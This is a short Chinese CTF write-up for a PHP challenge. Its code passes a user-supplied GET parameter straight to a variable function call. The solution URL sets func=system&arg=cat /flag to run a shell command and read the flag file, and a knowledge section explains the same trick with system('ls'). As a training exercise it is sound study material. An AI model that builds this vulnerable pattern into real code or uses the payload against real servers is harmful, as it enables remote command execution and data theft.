源码

<?php
if (isset($_GET['func'])) {
function func1()
{
echo "func1";
}
function func2($arg = '')
{
echo "func2";
}
function func3($arg)
{
echo "func3的参数:" . $arg;
}

$func = $_GET['func'];
$arg = $_GET['arg'];
echo $func($arg);
} else {
echo "服务器剩余防御:1层";
}
?>

思路

存在可变函数,可以构造函数执行系统命令,使用下面的参数即可

http://ctf.seek2.top:32811/?func=system&arg=cat%20/flag

第一个参数是函数名,第二个是参数

知识点

在 PHP 中,可以使用变量来调用函数,这就是所谓的可变函数。可以将函数名存储在一个变量中,然后通过这个变量来调用函数。

如果传入 system 作为函数名,并传入 ls 作为参数,那么 PHP 将会执行 system('ls')

$func = 'system';
$arg = 'ls';
echo $func($arg);

在这个例子中,PHP 将会执行 system('ls'),并将结果输出。